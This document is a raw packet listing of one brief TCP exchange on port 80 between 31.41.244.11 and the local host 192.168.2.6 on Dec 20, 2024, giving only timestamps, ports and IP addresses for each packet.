Dec 20, 2024 21:13:12.477873087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.477969885 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.478053093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.478105068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.479104042 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.479192972 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.479248047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.479331970 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.480231047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.480308056 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.480370998 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.480420113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.481370926 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.481476068 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.481653929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.481719017 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.482557058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.482625961 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.482628107 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.482683897 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.483710051 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.483762026 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.483814001 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.483859062 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.484905958 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.484991074 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.485039949 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.486041069 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.486102104 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.486155033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.486399889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.487199068 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.487237930 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.487294912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.487343073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.488370895 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.488497019 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.488497972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.488538980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.489556074 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.489604950 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.489665031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.489711046 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.490694046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.490746975 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.490842104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.490919113 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.491866112 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.491919041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.491971970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.492053032 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.493036985 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.493086100 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.493182898 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.493249893 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.494194984 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.494237900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.494319916 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.494368076 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.495385885 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.495455027 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.495460987 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.495543957 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.496593952 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.496676922 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.496725082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.496783018 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.497734070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.497795105 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.497848034 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.497895956 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.498914957 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.498969078 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.499116898 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.499264002 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.500032902 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.500082016 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.500132084 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.500189066 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.501214981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.501328945 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.501338959 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.501365900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.502541065 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.502605915 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.502648115 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.502700090 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.503567934 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.503688097 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.503693104 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.503758907 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.504786968 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.504839897 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.504899025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.504950047 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.506019115 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.506074905 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.506160021 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.506258965 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.507138014 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.507189989 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.507241011 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.507324934 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.508224010 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.508271933 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.508336067 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.508418083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.509377003 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.509423971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.509565115 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.509618044 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.510615110 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.510693073 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.510744095 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.510802984 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.511734962 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.511789083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.511826992 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.511890888 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.512877941 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.512974977 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.512978077 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.513022900 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.514101028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.514127016 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.514173985 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.514173985 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.515235901 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.515292883 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.515420914 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.515470028 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.516376972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.516460896 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.516511917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.516571999 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.517569065 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.517620087 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.517673969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.517754078 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.518719912 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.518793106 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.518913031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.518981934 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.519870996 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.519925117 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.519982100 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.520111084 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.521080017 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.521131039 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.521203995 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.521281958 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.522209883 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.522304058 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.522322893 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.522367001 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.523385048 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.523478031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.523483992 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.523526907 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.524532080 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.524584055 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.524641991 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.524697065 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.525763035 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.525841951 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.525859118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.525918007 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.526880980 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.526931047 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.527004957 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.527154922 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.528052092 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.528107882 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.528172970 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.528208017 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.529247046 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.529294014 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.529304028 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.529370070 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.530363083 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.530411959 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.530467033 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.530520916 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.720443964 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.720496893 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.720587969 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.720639944 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.721015930 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.721048117 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.721071005 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.721112967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.722157955 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.722270966 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.722313881 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.722407103 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.723375082 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.723423958 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.723493099 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.723548889 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.724621058 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.724685907 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.724745989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.724800110 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.725687981 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.725749969 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.725836039 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.725908995 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.726835012 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.726881027 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.727020979 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.727088928 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.727948904 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.728017092 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.728704929 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.728754997 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.729295015 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.729310989 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.729362011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.729362011 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.730338097 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.730384111 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.730442047 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.730609894 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.731528997 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.731612921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.731806993 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.731934071 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.732654095 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.732748985 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.732811928 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.732862949 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.733795881 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.733844042 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.733987093 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.734040976 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.735019922 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.735127926 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.735155106 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.735229969 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.736112118 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.736232042 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.736259937 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.736377954 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.737298012 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.737344980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.737824917 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.737896919 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.738495111 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.738564014 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.738632917 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.739875078 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.739970922 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.739996910 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.740051985 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.740854025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.740906000 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.740947962 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.740947962 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.742012024 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.742130995 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.742147923 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.742189884 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.743213892 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.743319035 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.743593931 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.743655920 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.745071888 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.745124102 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.745153904 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.745204926 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.745491982 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.745507956 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.745565891 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.746726036 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.746850967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.746962070 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.747009993 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.747903109 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.747932911 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.748013973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.748965025 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.749013901 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.749186993 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.749233007 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.750153065 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.750222921 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.750339031 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.750391006 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.751323938 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.751374960 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.751379967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.751446009 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.752496004 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.752542973 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.752568960 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.752625942 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.753664017 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.753715992 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.753741026 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.753787041 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.754769087 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.754858971 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.754879951 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.754949093 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.755943060 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.756014109 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.756072044 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.756241083 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.757106066 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.757191896 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.757237911 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.757397890 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.758290052 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.758385897 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.758637905 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.758708000 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.759459972 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.759529114 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.759821892 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.759876013 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.760657072 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.760737896 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.760940075 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.760989904 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.761847019 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.761907101 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.762100935 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.762238979 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.762974024 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.763041019 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.763130903 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.763257980 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.764195919 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.764277935 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.764350891 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.764441967 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.765319109 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.765366077 CET	49849	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:12.765434027 CET	80	49849	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:12.765525103 CET	49849	80	192.168.2.6	31.41.244.11
